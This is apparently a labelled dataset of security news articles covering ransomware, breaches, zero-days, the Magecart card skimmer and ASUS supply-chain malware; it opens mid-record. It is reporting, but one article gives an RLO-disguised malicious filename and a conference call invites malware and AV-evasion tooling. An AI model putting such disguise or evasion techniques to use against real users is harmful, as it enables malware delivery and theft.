""A multi-tiered priority system ensures that the ransomware encrypts the most valuable data first, but eventually it also encrypts everything else that isn't in a very short list of Windows system-related files.""

""This method has several benefits. As a manual attack, it poses no risk of spreading out of control, attracting unwanted attention. It also allows the attacker to cherry pick targets, and to know which computers have been encrypted.""

SamSam Ransomware Chooses Its Targets Carefully
Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University.

So far, the largest ransom paid by an individual victim is valued at $64,000—a significantly large amount compared to most ransomware families.

Since the SamSam victims do not see any other option to restore their encrypted files, a significant percentage of victims are paying the ransom, making the attack more effective.

According to Sophos, 74 percent of the known victim organizations identified by the security firm is based in the United States, and others are distributed in Canada, the UK, and the Middle East.

To protect against this threat, users and organizations are recommended to keep regular backups, use multi-factor authentication, restrict access to RDP(on port 3389), and always keep systems and software up-to-date.
",Cyber_Attack
San Francisco Metro System Hacked with Ransomware; Resulting in Free Rides,https://thehackernews.com/2016/11/transit-system-hacked.html,"Nothing is immune to being hacked when hackers are motivated.

The same proved by hackers on Friday, when more than 2,000 computer systems at San Francisco's public transit agency were apparently got hacked.

San Francisco's Municipal Transportation Agency, also known as MUNI, offered free rides on November 26th after MUNI station payment systems and schedule monitors got hacked by ransomware and station screens across the city started displaying a message that reads:

""You Hacked, ALL Data Encrypted. Contact For Key(cryptom27@yandex.com)ID:681 ,Enter.""

According to the San Francisco Examiner, MUNI confirmed a Ransomware attack against the station fare systems, which caused them to shut down ticket kiosks and make rides free this weekend.

As you can see, the above message delivered by the malware followed by an email address and ID number, which can then be used to arrange ransom payments.

MUNI Spokesman Paul Rose said his agency was investigating the matter and ""working to resolve the situation,"" but did not provide details as of how MUNI got hacked.

""We are currently working to resolve the situation,"" said Rose. ""There is an ongoing investigation, and it wouldn't be appropriate to provide additional details.""

Pay $73,000 to Free Systems from Ransomware

Trains themselves were not affected by the malware attack, and the MUNI claimed that the payments were resumed on the morning of November 27th. The MUNI looks after trains, trams and buses around the city, including San Francisco's iconic cable cars.

It is yet not clear exactly who was responsible for the attack (besides a pseudonym ""Andy Saolis""), but according to local media reports, the agency's computers were being held by ransomware until the MUNI paid the equivalent of more than $73,000 in Bitcoin.

Andy Saolis is a pseudonym commonly used in HDDCryptor ransom attacks, which uses commercial tools to encrypt hard drives and network shares on Windows machines using randomly generated keys and then overwrite the hard disks' MBRs to prevent systems from booting up properly.

The target machine is typically infected by accidentally opening a malicious executable in an email or download, and then the malware spreads out across the network.

The email address, cryptom27@yandex.com, used by anonymous criminal points the city to a Russian email address to arrange payment and has been linked to other cyber attacks as well.

The Hacker Linked to a Previous Ransomware Starin

When reaching at the provided email, the hacker provided a statement in broken English, which read:
""We don't attention to interview and propagate news! Our software working completely automatically and we don't have targeted attack to anywhere! SFMTA network was Very Open and 2000 Server/PC infected by software! So we are waiting for contact any responsible person in SFMTA but I think they don't want deal ! so we close this email tomorrow!""
The same email address, cryptom27@yandex.com, was linked to a ransomware strain called Mamba in September. The ransomware employs tactics similar to those demonstrated against the MUNI systems.

The hacker provided hoodline a list of systems the hacker claimed to have infected in Muni's network, which came out to be 2,112 of the total 8,656 computer networks. The hacker also said that the MUNI had ""one more day"" to make a deal.

Not much about the hack is known; the extent of the hack and hacker's identity remain a mystery for now, but the incident once again reminds us that how vulnerable our critical infrastructure remains.

",Malware
Database of 1.4 Billion Records leaked from World's Biggest Spam Networks,https://thehackernews.com/2017/03/email-marketing-database.html,"A database of 1.4 billion email addresses combined with real names, IP addresses, and often physical address has been exposed in what appears to be one the largest data breach of this year.

What's worrisome? There are high chances that you, or at least someone you know, is affected by this latest data breach.

Security researcher Chris Vickery of MacKeeper and Steve Ragan of CSOOnline discovered an unsecured and publicly exposed repository of network-available backup files linked to a notorious spamming organization called River City Media (RCM), led by notorious spammers Matt Ferrisi and Alvin Slocombe.

Spammer's Entire Operation Exposed
The database contains sensitive information about the company's operations, including nearly 1.4 Billion user records, which was left completely exposed to anyone – even without any username or password.

According to MacKeeper security researcher Vickery, RCM, which claims to be a legitimate marketing firm, is responsible for sending around a billion unwanted messages per day.

Besides exposing more than a billion email addresses, real names, IP addresses and, in some cases, physical addresses, the leak exposed many documents that revealed the inner workings of RCM's spam operation.
""The situation presents a tangible threat to online privacy and security as it involves a database of 1.4bn email accounts combined with real names, user IP addresses, and often physical address,"" Vickery said. ""Chances are that you, or at least someone you know, is affected.""
Vickery wasn't able to fully verify the leak but said he discovered addresses he knew were accurate in the database.

Wondering how spamming operations can be profitable? One leaked text shows a single day of activity of RCM that sent 18 million emails to Gmail users and 15 million to AOL users, and the total take of the spamming company was around $36,000.

Illegal Hacking Techniques Used by RCM
The company employed many illegal hacking techniques to target as many users as possible. One of the primary hacking methods described by the researchers is the Slowloris attacks, a method designed to cripple a web server rather than subvert it in this manner.
""[Slowloris is] a technique in which the spammer seeks to open as many connections as possible between themselves and a Gmail server,"" Vickery writes in a blog post published today.
""This is done by purposefully configuring your own machine to send response packets extremely slowly, and in a fragmented manner, while constantly requesting more connections.""
The researchers have reported that details of RSM's operations and its abusive scripts and techniques have been sent to Microsoft, Apple, Salted Hash, Spamhaus, and others affected parties.

Meanwhile, the researchers have also notified law enforcement agencies, which they says, have expressed keen interest in the matter.

In response to the latest discovery, Spamhaus will be blacklisting RCM's entire infrastructure from its Register of Known Spam Operations (ROKSO) database that tracks professional spam operations and lists them using a three-strike rule.

",Data_Breaches
Android Security shielded with full ASLR implementation,https://thehackernews.com/2012/07/android-security-shielded-with-full.html,"The latest release of Google's Android mobile operating system has finally been properly fortified with an industry-standard defense. It's designed to protect end users against hack attacks that install malware on handsets.

Android 4.1 Jelly Bean includes several new exploit mitigations and a more extensive implementation of ASLR to help defeat many kinds of exploits.

ASLR is an exploit mitigation method that randomizes the positions of key data areas such as libraries, heap, stack, and the base of the executable, in a process's address space, and that makes it near impossible for malware authors and hackers to predict where their malicious payloads will be loaded.

""As we mentioned in our previous post on Android ASLR, the executable mapping in the process address space was not randomized in Ice Cream Sandwich, making ROP-style attacks possible using the whole executable as a source of gadgets. In Jelly Bean, most binaries are now compiled/linked with the PIE flag, which means they will be properly randomized when executed,"" Jon Oberheide of Duo Security.

That will make it significantly harder to use a technique known as return-oriented programming when exploiting buffer overflows and other memory-corruption vulnerabilities discovered in the mobile platform. Jelly Bean also provides defenses to prevent information leakage exploits that can lead to much more serious OS exploits.

",Malware
Vulnerability found in Apple's iOS can hide malicious code inside apps,https://thehackernews.com/2013/08/vulnerability-found-in-apples-ios-can.html,"A Georgia Tech researcher has found a weakness in Apple's iOS mobile platform that could let hackers to hide malicious code inside apps and can be surreptitiously planted on the Apple App Store.

Researchers team created a proof-of-concept attack that was published in the Apple App Store and used to remotely launch attacks on a controlled batch of devices, enabling them to post unauthorized tweets, take photos and even go after other apps.
""Our research shows that despite running inside the iOS sandbox, a Jekyll-based app can successfully perform many malicious tasks, such as posting tweets, taking photos, sending email and SMS, and even attacking other apps all without the user's knowledge.""

Using a BeagleBoard, team created a USB malicious charger called Mactans that can install apps without user knowledge within a minute of being plugged in.

In one demonstration, the attacker was able to hide the iPhone Facebook application and install a malicious copy in its place. The malware executed its task, then launched the legitimate hidden copy of Facebook, leaving the user none the wiser.

Soon after the researchers reported the bug to Apple and they are fixing that flaw in iOS 7, that notifies users when they plug their mobile device into any peripheral that attempts to establish a data connection, and is working on ways to address the weaknesses revealed through Jekyll.

",Vulnerability
THN Weekly RoundUp – 12 Hacking Stories You Don't Want To Miss This Week,https://thehackernews.com/2015/10/weekly-hacking-news.html,"Here we are with our weekly roundup, showcasing last week's top cyber security threats and challenges.

Just in case you missed any of them (ICYMI), THN Weekly Round-Up helps you provide all important stories of last week in one shot.

We advise you to read the full story (just click 'Read More' because there's some valuable advice in it as well).

Here's the list:

1. Facebook to Launch Its Own Satellite to Beam Free Internet

Facebook has revealed its plans to launch a $500 Million Satellite by next year in an effort to provide free or cheap Internet access in the developing countries.

The social network giant has teamed up with the French satellite provider Eutelsat Communications to beam free Internet access to several parts of countries in Sub-Saharan Africa.

For detailed information on Facebook's Satellite Project – Read more…

2. Angler Exploit Kit Campaign Generating $30 Million Took Down

Researchers took down a large ransomware campaign connected to the Angler Exploit Kit that was making an estimated $30 Million a year in revenue for hackers.

The hacker or group of hackers generating $30 Million annually is responsible for up to 50% of Angler Exploit Kit activity, which simply means that the rest of Angler kit business might be generating revenue of more than $60M annually for hackers worldwide.

For more information – Read more…

3. This Secure Operating System Protects You Even if You Get Hacked!

Qubes OS – an open-source Linux-based security-oriented operating system for personal computers runs everything inside the virtual machines.

The visualization mechanism of Qubes OS follows Security by Isolation (Software Compartmentalization) principle to secure the systems, which means, enabling the Principle of least privileges.

So, in case you become a victim of any malicious cyber attack, Qubes OS doesn't let an attacker take over your entire computer.

For in-depth information on Qubes OS – Read more…

4. How to Activate GodMode in Windows 10
God Mode – also known as 'Windows Master Control Panel Shortcut' – is an inbuilt, but hidden Windows' feature that provides additional customization options for the Microsoft's newest operating system.

Enabling God Mode in Windows 10 essentially unlocks a backdoor of the operating system to access 260+ additional settings from a single folder.

To know how to activate GodMode in Windows 10 – Read more…

5. British Agency Can Hack Any Smartphone With Just a Text Message

The British Intelligence Agency GCHQ has powers to hack any smartphone devices with just a text message, said the former NSA contractor and global surveillance whistleblower Edward Snowden.

According to Snowden, GCHQ have special tools that let it take over your smartphones with just a text message and there is ""very little"" you can do to prevent the spying agency having ""total control"" over your devices.

For the full interview of Edward Snowden with BBC investigative programme Panorama – Read more…

6. Kemoge: Latest Android Malware that Can Root Your Smartphone

A new strain of malware, dubbed 'Kemoge Malware', has made its debut as an Adware on Android devices, allowing third-party app stores to pilfer your device's information as well as take full control of it.

Kemoge is an Adware in the disguise of popular Android Apps. The malware is distributed in the names of popular apps, but actually repackages the malicious code that even has the capability to root victims' phones, targeting a wide range of device models.

For more information on How does Kemoge Work and How to protect against it – Read more…

7. Microsoft Rewarded $24,000 Bounty to Hacker

Synack security researcher Wesley Wineberg won $24,000 from Microsoft for finding and reporting a critical flaw in Microsoft's Live.com authentication system that could allow hackers to gain access to victims' complete Outlook account or other Microsoft services.

Wineberg developed a 'proof-of-concept' exploit app, named 'Evil App', that allowed him to bypass Microsoft's OAuth protection mechanism, effectively gaining access to everything in victim's account.

For detailed information and video demonstration – Read more…

8. End of the Most Widely used SHA-1 Hash Algorithm
One of the Internet's widely adopted cryptographic hash function SHA-1 is counting its last breaths.

Researchers have claimed that SHA-1 is vulnerable to the Collision Attacks, which can be exploited to forge digital signatures, allowing attackers to break communications encoded with SHA-1.

For in-depth information on Collision attacks and how does it work – Read more…

9. Brute Force Amplification Attack Targeting WordPress Blogs

Security researchers have discovered a way to perform Amplified Brute Force attacks against WordPress' built-in XML-RPC feature in an effort to crack down administrator credentials.

XML-RPC protocol is used for securely exchanging data between computers across the Internet. It uses the system.multicall method that allows an application to execute multiple commands within one HTTP request.

The same method has been abused to amplify Brute Force attacks many times over by attempting hundreds of passwords within just one HTTP request, without been detected.

Here's how the Brute Force Amplification attack works – Read more…

10. China Arrested Hackers at U.S. Government Request

Just two weeks before Chinese President Xi Jinping visited the United States; China arrested a handful of hackers within its borders at the request of the United States government.

The arrested hackers were suspected of stealing state commercial secrets from United States firms and then selling or passing them to Chinese state-run companies.

For detailed information – Read More…

11. One-Minute Owner of Google.com Donated his Reward to Charity

The man who actually managed to buy Google.com got a huge reward from Google, but he donated all his prize money to charity.

Sanmay Ved, an ex-Google employee and now-Amazon employee, managed to buy the world's most-visited domain via Google's own Domains service for only $12.

However, Ved owned Google.com for one minute before the company realized it was a mistake and cancelled the transaction.

For in-depth information – Read More…

12. Critical Netgear Router Flaw Lets Anyone Hack You Remotely
Hackers have publicly exploited a serious flaw discovered in Netgear routers in order to bypass authentication mechanism on vulnerable routers.

Hackers could leverage the vulnerability to bypass authentication mechanism and then change the Domain Name System (DNS) settings of victims' routers to the rogue IP address.

The affected Netgear routers are JNR1010v2, JWNR2000v5, JWNR2010v5, WNR614, WNR618, WNR1000v4, WNR2020 and WNR2020v2.

For more details – Read more…

",Malware
Hackers Exploit 'Telegram Messenger' Zero-Day Flaw to Spread Malware,https://thehackernews.com/2018/02/hackers-exploit-telegram-messenger-zero.html,"A zero-day vulnerability has been discovered in the desktop version for end-to-end encrypted Telegram messaging app that was being exploited in the wild in order to spread malware that mines cryptocurrencies such as Monero and ZCash.

The Telegram vulnerability was uncovered by security researcher Alexey Firsh from Kaspersky Lab last October and affects only the Windows client of Telegram messaging software.

The flaw has actively been exploited in the wild since at least March 2017 by attackers who tricked victims into downloading malicious software onto their PCs that used their CPU power to mine cryptocurrencies or serve as a backdoor for attackers to remotely control the affected machine, according to a blogpost on Securelist.

Here's How Telegram Vulnerability Works

The vulnerability resides in the way Telegram Windows client handles the RLO (right-to-left override) Unicode character (U+202E), which is used for coding languages that are written from right to left, like Arabic or Hebrew.

According to Kaspersky Lab, the malware creators used a hidden RLO Unicode character in the file name that reversed the order of the characters, thus renaming the file itself, and send it to Telegram users.

For example, when an attacker sends a file named ""photo_high_re*U+202E*gnp.js"" in a message to a Telegram user, the file's name rendered on the users' screen flipping the last part.

Therefore, the Telegram user will see an incoming PNG image file (as shown in the below image) instead of a JavaScript file, misleading into downloading malicious files disguised as the image.

""As a result, users downloaded hidden malware which was then installed on their computers,"" Kaspersky says in its press release published today.

Kaspersky Lab reported the vulnerability to Telegram and the company has since patched the vulnerability in its products, as the Russian security firm said: ""at the time of publication, the zero-day flaw has not since been observed in messenger's products.""

Hackers Used Telegram to Infect PCs with Cryptocurrency Miners
During the analysis, Kaspersky researchers found several scenarios of zero-day exploitation in the wild by threat actors. Primarily, the flaw was actively exploited to deliver cryptocurrency mining malware, which uses the victim's PC computing power to mine different types of cryptocurrency including Monero, Zcash, Fantomcoin, and others.

While analyzing the servers of malicious actors, the researchers also found archives containing a Telegram's local cache that had been stolen from victims.

In another case, cybercriminals successfully exploited the vulnerability to install a backdoor trojan that used the Telegram API as a command and control protocol, allowing hackers to gain remote access to the victim's computer.

""After installation, it started to operate in a silent mode, which allowed the threat actor to remain unnoticed in the network and execute different commands including the further installation of spyware tools,"" the firm added.

Firsh believes the zero-day vulnerability was exploited only by Russian cybercriminals, as ""all the exploitation cases that [the researchers] detected occurring in Russia,"" and a lot of artifacts pointed towards Russian cybercriminals.

The best way to protect yourself from such attacks is not to download or open files from unknown or untrusted sources.

The security firm also recommended users to avoid sharing any sensitive personal information in messaging apps and make sure to have a good antivirus software from reliable company installed on your systems.

",Vulnerability
Growing market of zero-day vulnerability exploits pose real threat to Cyber Security,https://thehackernews.com/2013/12/growing-market-of-zero-day.html,"NSS Labs issued the report titled ""The Known Unknowns"" to explain the dynamics behind the market of zero-day exploits.

Last week I discussed about the necessity to define a model for ""cyber conflict"" to qualify the principal issues related to the use of cyber tools and cyber weapons in an Information Warfare context, today I decided to give more info to the readers on cyber arsenals of governments.
Governments consider the use of cyber weapons as a coadiuvant to conventional weapons, these malicious application could be used for sabotage or for cyber espionage, they could be used to hit a specifically designed software (e.g. SCADA within a critical infrastructure) or they could be used for large scale operations infecting thousand of machines exploiting zero-day in common application (e.g. Java platform, Adobe software).
The zero-day flaw are the most important component for the design of an efficient cyber weapon, governments have recently created dedicated cyber units to the discovery and exploitation of unknown vulnerabilities, but in many cases this precious knowledge is sold by private entities on the underground, consider that governments are the primary buyers of the growing market of zero-day. But governments aren't unique buyers, exploit kits including zero-day are acquired also by non government actors buying, it has been estimated that the market is able to provide 85 exploits per day, a concerning number for the security industry.
Zero-day hunters are independent hackers but in the majority of cases are structured security firms that analyze every kind of software to discover flaws exploitable during a cyber attack and resell their knowledge to the highest bidder, no matter if it is a private company that will use it against a competitor of a foreign government.

The NSS Labs have recently issued an interesting study study titled ""The Known Unknowns"", it reports that every day during a period of observation lasted three years, high-paying buyers have had access to at least 60 vulnerabilities targeting common software produced by Adobe, Apple, Microsoft and Oracle.
""NSS Labs have analyzed ten years of data from two major vulnerability purchase programs, and the results reveal that on any given day over the past three years, privileged groups have had access to at least 58 vulnerabilities targeting Microsoft, Apple, Oracle, or Adobe. Further, it has been found that these vulnerabilities remain private for an averagfe of 151 days. These numbers are considered a minimum estimate of the ""known unknowns"", as it is unlikely that cyber criminals, brokers, or government agencies will ever share data about their operations.

Specialized companies are offering zero-day vulnerabilities for subscription fees that are well within the budget of. A determined attacker (for example, 25 zero-days per year for USD $2.5 million); this has broken the monopoly that nation states historically have held regarding ownership of the latest cyber weapon technology. Jointly, half a dozen boutique exploits providers have the capacity to offer more than 100 exploits per year. ""
It has been estimated that every year zero-day hunters develop combined 100 exploits resulting in 85 privately known exploits at the ready on any particular day. Consider that this is a row estimation that not consider the data related to an independent group of hackers which activities are poorly known.

On the black market an exploit for a Windows OS sells for up to $250,000 according the BusinessWeek , a good incentive for hackers to focus their efforts in the discovery of zero-day.

What is very concerning is that in many cases the entity that discovers the zero-day, to maximize the gains offers its knowledge to hostile governments, governments that use it also to persecute dissidents or to attack adversary states.
The zero-day market follows its own rules, the commodities are high deperible, the transactions are instantaneous and the agreement between buyers and sellers is very sensitive.
""According to a recent article in The""New""York""Times, firms such as VUPEN (France), ReVuln (Malta), Netragard, Endgame Systems, and Exodus Intelligence (US) advertise that they sell knowledge of security vulnerabilities for cyber espionage. The average price lies between USD $40,000 and USD $160,000. Although some firms restrict their clientele, either based on country of origin or on decisions to sell to specific governments only, the ability to bypass this restriction through proxies seems entirely possible for determining cyber criminals. Based on service brochures and public reports, these providers can deliver at least 100 exclusive exploits per year.""
In particular the US contractor Endgame Systems reportedly offer customers 25 exploits a year for $2.5 million.

The knowledge on the zero-day vulnerability could be bought on the underground market or it could be acquired through open ""bug bounty"" processes, following some interesting data on the principal programs:
Google paid approximately USD $580,000 over three years for 501 vulnerabilities discovered in the Chrome browser (= 28 percent of the patched vulnerabilities in the same period)
Mozilla paid approximately USD $570,00 over three years for 190 vulnerabilities discovered in its Firefox browser (= 24 percent of the patched vulnerabilities in the same period)
Facebook has paid approximately USD $1 million since the 2011 inception of its program.
Microsoft has paid approximately USD $100,000 since the June 2013 inception of its program for reporting new exploitation techniques
I've found the report very interesting, but we have to consider the lack of reliable information to further quantify ""known unknowns"" ""that are in the hands of cyber criminals or that are privately developed through consulting contracts, the assertion that there are 100 exploits available to privileged groups on any given day must be considered a reasonable minimum estimate those privileged category.

The uncontrolled and unregulated sale of zero-day pose a real and present threat to the security of government organizations and private corporations and software users, it's quite impossible to imagine a future scenario.

",Vulnerability
Malcon 2011 - Call for Papers,https://thehackernews.com/2011/09/malcon-2011-call-for-papers.html,"Malcon 2011 - Call for Papers
Malcon is the worlds first platform bringing together Malware and Information Security Researchers from across the globe to share key research insights into building and containment of the next generation malwares .

Call for Papers:
Malcon 2011 are looking for new techniques, tool releases,unique research and about anything that's breath-taking, related to Malwares. The papers and research work could be under any of the broad categories mentioned below :

Hacking Tools: Phishing Kits, code that aids any malware or malicious activity is welcome.
Malwares: Rootkit, Trojan, Botnet, Bootkit, Virus, Keylogger, Virtual Machine based Malware, Mobile OS Based Malware (Android, Symbian, IPhone etc.)
Malware creation tools: Toolkits to create any kind of malware
Web based malwares: Web-Shells, Browser Runtime Malwares (Javascript, Flash)
Malware Infection and propagation methodologies: Emerging Infection techniques, Intelligent target enumeration techniques, Web Based, Network Based, Cross-Platform Infection
Malware self-defence: AV Detection Techniques (Polymorphism, Metamorphism, VM, Injection, System Hooks, Memory Hijacking), Antivirus Exploitation Techniques, Anti-Reversing Techniques, Anti-Debugging Techniques, Techniques to bypass security mechanisms (AV, Anti-Malware Products), Secure Malware Communication (Command Control)


Venue Mumbai
Date 25th and 26th November 2011 . Inviting all malware researchers and coders to showcase their work at the international Malware Conference.

Read More Details Here and Contact Malcon at cfp[at]malcon.org

",Malware
Hackers Steal Customers' Credit Cards From Newegg Electronics Retailer,https://thehackernews.com/2018/09/newegg-credit-card-hack.html,"The notorious hacking group behind the Ticketmaster and British Airways data breaches has now victimized popular computer hardware and consumer electronics retailer Newegg.

Magecart hacking group managed to infiltrate the Newegg website and steal the credit card details of all customers who entered their payment card information between August 14 and September 18, 2018, according to a joint analysis from Volexity and RiskIQ.

Magecart hackers used what researchers called a digital credit card skimmer wherein they inserted a few lines of malicious Javascript code into the checkout page of Newegg website that captured payment information of customers making purchasing on the site and then send it to a remote server.

Active since at least 2015, the Magecart hacking group registered a domain called neweggstats(dot)com on August 13, similar to Newegg's legitimate domain newegg.com, and acquired an SSL certificate issued for the domain by Comodo for their website.

A day later, the group inserted the skimmer code into the Newegg website at the payment processing page, so that it would not come into play until or unless the payment page was hit.

So, when customers add a product in their shopping cart, enter their delivery information during the first step of the check-out, and validate their address, the website takes them to the payment processing page to enter their credit card information.
As soon as the customer hit submit button after entering their credit card information, the skimmer code immediately sends a copy that data to the attacker's domain, i.e., neweggstats(dot)com without interrupting the checkout process.

Newegg Hack May Affect Millions of Customers

The attack affected both desktop and mobile customers, though it is still unclear how many customers were actually hit by this credit card breach.

However, considering that more than 50 million shoppers visit Newegg every month and that the malicious code was there for over one month, it could be assumed that this Magecart newest card skimming campaign has possibly stolen the payment information on millions of Newegg customers, even if only a fraction of those visitors make purchases.

Earlier this month, the Magecart hacking group breached the British Airways website and its mobile application and managed to walk away with a bounty of sensitive payment card data from 380,000 victims.
""The skimmer code [used in the Newegg breach] is recognizable from the British Airways incident, with the same basecode,"" RiskIQ researchers said.
""All the attackers changed is the name of the form it needs to serialize to obtain payment information and the server to send it to, this time themed with Newegg instead of British Airways.""
In the Newegg case, the hackers used smaller skimmer code of ""a tidy 15 lines of script,"" since it only had to serialize one form.

If you are one of those Newegg customers who entered their credit card details on the website during the attack period, you should immediately contact your bank, block your payment card, and request for a replacement.

However, the way Magecart is scooping up payment card data from popular services with relatively little efforts suggests that Newegg probably will not be its last target.
",Data_Breaches
Warning: ASUS Software Update Server Hacked to Distribute Malware,https://thehackernews.com/2019/03/asus-computer-hacking.html,"Remember the CCleaner hack?

CCleaner hack was one of the largest supply chain attacks that infected more than 2.3 million users with a backdoored version of the software in September 2017.

Security researchers today revealed another massive supply chain attack that compromised over 1 million computers manufactured by Taiwan-based tech giant ASUS.

A group of state-sponsored hackers last year managed to hijack ASUS Live automatic software update server between June and November 2018 and pushed malicious updates to install backdoors on over one million Windows computers worldwide.

According to cybersecurity researchers from Russian firm Kaspersky Lab, who discovered the attack and dubbed it Operation ShadowHammer, Asus was informed about the ongoing supply chain attack on Jan 31, 2019.
After analyzing over 200 samples of the malicious updates, researchers learned that hackers did not want to target all users, instead only a specific list of users identified by their unique MAC addresses, which were hardcoded into the malware.

""We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list,"" researchers say.

Like the CCleaner and ShadowPad hacks, the malicious file was signed with legitimate ASUS digital certificates in order to make it look an official software update from the company and to remain undetected for a long time.

Researchers didn't attribute the attack to any APT group at this moment, but certain evidence linked the latest attack to the ShadowPad incident from 2017, which Microsoft attributed to the BARIUM APT actors behind the Winnti backdoor.
""Recently, our colleagues from ESET wrote about another supply chain attack in which BARIUM was also involved, that we believe is connected to this case as well,"" researchers say.
According to Kaspersky, the backdoored version of ASUS Live Update was downloaded and installed by at least 57,000 Kaspersky users.
""We [researchers] are not able to calculate the total count of affected users based only on our data; however, we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide,"" Kaspersky says.
Symantec told Vice that the company identified the malware on more than 13,000 machines running its antivirus software.

Most of the victims Kaspersky detected are from Russia, Germany, France, Italy, and the United States, though the malware infected users from around the world.

Kaspersky has notified ASUS and other antivirus companies of the attack while the investigation into the matter is still ongoing.

The antivirus firm has also released an automated tool for users to check whether they had specifically been targeted by the ShadowHammer advanced persistent threat.

",Malware
Account Takeover Vulnerability Found in Popular EA Games Origin Platform,https://thehackernews.com/2019/06/ea-origin-game-hacking.html,"A popular gaming platform used by hundreds of millions of people worldwide has been found vulnerable to multiple security flaws that could have allowed remote hackers to takeover players' accounts and steal sensitive data.

The vulnerabilities in question reside in the ""Origin"" digital distribution platform developed by Electronic Arts (EA)—the world's second-largest gaming company with over 300 million users—that allows users to purchase and play some of the most popular video games including Battlefield, Apex Legends, Madden NFL, and FIFA.

The Origin platform also manages users EA Games account authentication and allows them to find friends, join games, and manage their profiles.

Discovered by researchers at Check Point and CyberInt, the vulnerabilities when chained together could have allowed attackers to hijack gamer's EA account just by convincing them into opening an official webpage from the EA Games website.

To perform this attack, as shown in the video demonstration, researchers took advantage of a long-known unpatched weakness in Microsoft's Azure cloud service that allowed them to takeover one of the EA subdomains, which was previously registered with Azure to host one of the Origin's services.
As explained in a previous report, if DNS (CNAME) of a domain/subdomain is pointing to Azure cloud platform but has not been configured or linked to an active Azure account, any other Azure user can hijack it to park that subdomain to his/her Azure server.

""During Cyber Int's research, though, [it] found that the ea-invite-reg.azurewebsites.net service was not in-use anymore within Azure cloud services; however, the unique subdomain eaplayinvite.ea.com still redirect to it using the CNAME configuration,"" CheckPoint researchers said in a report published today.

In their proof-of-concept attack, researchers hijacked ""eaplayinvite.ea.com"" and hosted a script on it that exploited weaknesses in the EA games' oAuth single sign-on (SSO) and TRUST mechanism.

The webpage eventually allowed the researchers to capture players secret SSO tokens just by convincing them into visiting it in the same web browser where they already have an active session on the EA website and takeover their accounts without requiring actual credentials.

""The TRUST mechanism exists between ea.com and origin.com domains and their subdomains. Successfully abusing the mechanism enabled our research team to manipulate the OAuth protocol implementation for full account takeover exploitation,"" researchers explained.


In a worst-case scenario, CheckPoint researchers said an attacker could have exploited these flaws to cause potential damage like gaining access to players' credit card information with the ability to fraudulently purchase in-game currency on behalf of the players.

CyberInt and Check Point immediately reported their findings to EA Games and helped the company fix the security loopholes to protect their gaming customers. The security firm went public with its findings today—almost three months after EA addressed the issues.

",Vulnerability
Using Breached Password Detection Services to Prevent Cyberattack,https://thehackernews.com/2021/06/using-breached-password-detection.html,"Bolstering password policies in your organization is an important part of a robust cybersecurity strategy. Cybercriminals are using compromised accounts as one of their favorite tactics to infiltrate business-critical environments; as we've seen in recent news, these attacks can be dangerous and financially impactful.
Unfortunately, account compromise is a very successful attack method and requires much less effort than other attack vectors.
One of the essential types of password protection recommended by noted cybersecurity standards is breached password detection. Hackers often use known breached password lists in credential stuffing or password spraying attacks.
Here are some critical criteria to consider when your sysadmins are evaluating breached password protection solutions.
Breached password recommendations
In the last few years, password security recommendations have evolved past the traditional recommendations regarding password security.
Businesses have used Microsoft Active Directory for years to implement password policies in the organization. Standard Active Directory password policies include minimal password configuration settings.
Below is an example of the settings offered with a conventional Active Directory Password Policy:
Enforce password history
Maximum password age
Minimum password age
Minimum password length
Minimum password length audit
Password must meet complexity requirements
Store password using reversible encryption
By default, Active Directory Password Policies do not include a solution to implement breached password protection.
Active Directory Password Policy settings
Why is it important for businesses to start thinking about breached password protection? Let's look at best practice recommendations from leading authorities in cybersecurity guidance.
New password policy recommendations
As mentioned, traditional password policies created using Active Directory are limited in features and capabilities. These allow creating basic password policies with standard length, complexity, age, and other requirements. However, there is no way to use native functionality to implement breached password protection.
While there is a means for implementing a password filter .dll in Active Directory to provision password dictionary protection, this is a manual process relying on the development of custom password filter .dll files.
New password policy guidance from leading cybersecurity authorities such as the National Institute of Standards and Technology (NIST) recommend breached password protection. The NIST Special Publication 800-63B SP 800-63B Section 5.1.1.2 paragraph 9 states:
""Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator.""
Basically, NIST's guidance recommends that organizations should force a password change if there is evidence of a breach. For businesses to have proof of a password breach, they must have a way to monitor the password landscape for breached passwords. In addition to monitoring for passwords to become breached, as users choose new passwords, the new password choices need to be checked.
Evaluating breached password detection services
Breached password detection is a recommended best practice for an additional layer of cyberattack prevention. Consider the following functions as must-haves to pay close attention to when choosing a solution:
Ease of deployment
Proactive monitoring
Proactive password changes
Breached password database size
Integration with current Active Directory password policies
Ease of deployment
An essential consideration businesses need to make when choosing a third-party breached password solution is deployment ease. Look for solutions that are easily deployed using existing Active Directory infrastructure. Solutions that are difficult to deploy will likely lead to configuration issues and challenges with implementation and time to value. Look for solutions that make use of existing Active Directory infrastructure along with Group Policy that allows quickly making use of existing policies and infrastructure.
1 — Proactive monitoring
One of the essential requirements for breached password protection is proactive monitoring. Organizations need a solution that checks a password during the password set operation and proactively monitors the password landscape to find passwords that may become breached. This functionality helps to ensure passwords that may not be breached during creation, but become breached later, are correctly identified and can be remediated.
2 — Proactive password changes
Dovetailing into the proactive monitoring of breached passwords in the environment, organizations need to look for a breached password protection solution that proactively requires end-users to change their password if these become breached. This feature helps ensure any passwords that become breached in the environment are remediated as quickly as possible.
3 — Breached password database size
Keep in mind that all breached password protection services are not equal in the number of breached passwords checked. Breached password databases may vary between different services. The more extensive the breached password database, the better for protecting against breached passwords. If the quantity of breached passwords isn't transparently communicated, ask the vendor directly how many are included in their backend lists.
4 — Integration with current Active Directory password policies
Specops Breached Password Protection
Look for a breached password protection solution that can integrate with current Active Directory password policies. It means you can leave GPO assignments in place that assign various password policies to specific users and will help to prevent ""reinventing the wheel.""
Specops Breached Password Protection
The Specops Password Policy solution allows organizations to have powerful breached password protection as part of the environment's password security. Features include all the top requirements, like:
Proactive breached password monitoring and password change enforcement
Easily to deploy and integrates with existing Active Directory GPO-based password policies
Downloadable breached password database or API-based protection
Managed database of over 2-billion passwords and growing
With the API-based approach, you get real-time breached password protection for your organization's passwords
Using Specops Password Policy with Breached Password Protection, you can easily rollout breached password protection using GPO-based Active Directory Password Policies that are already in place.
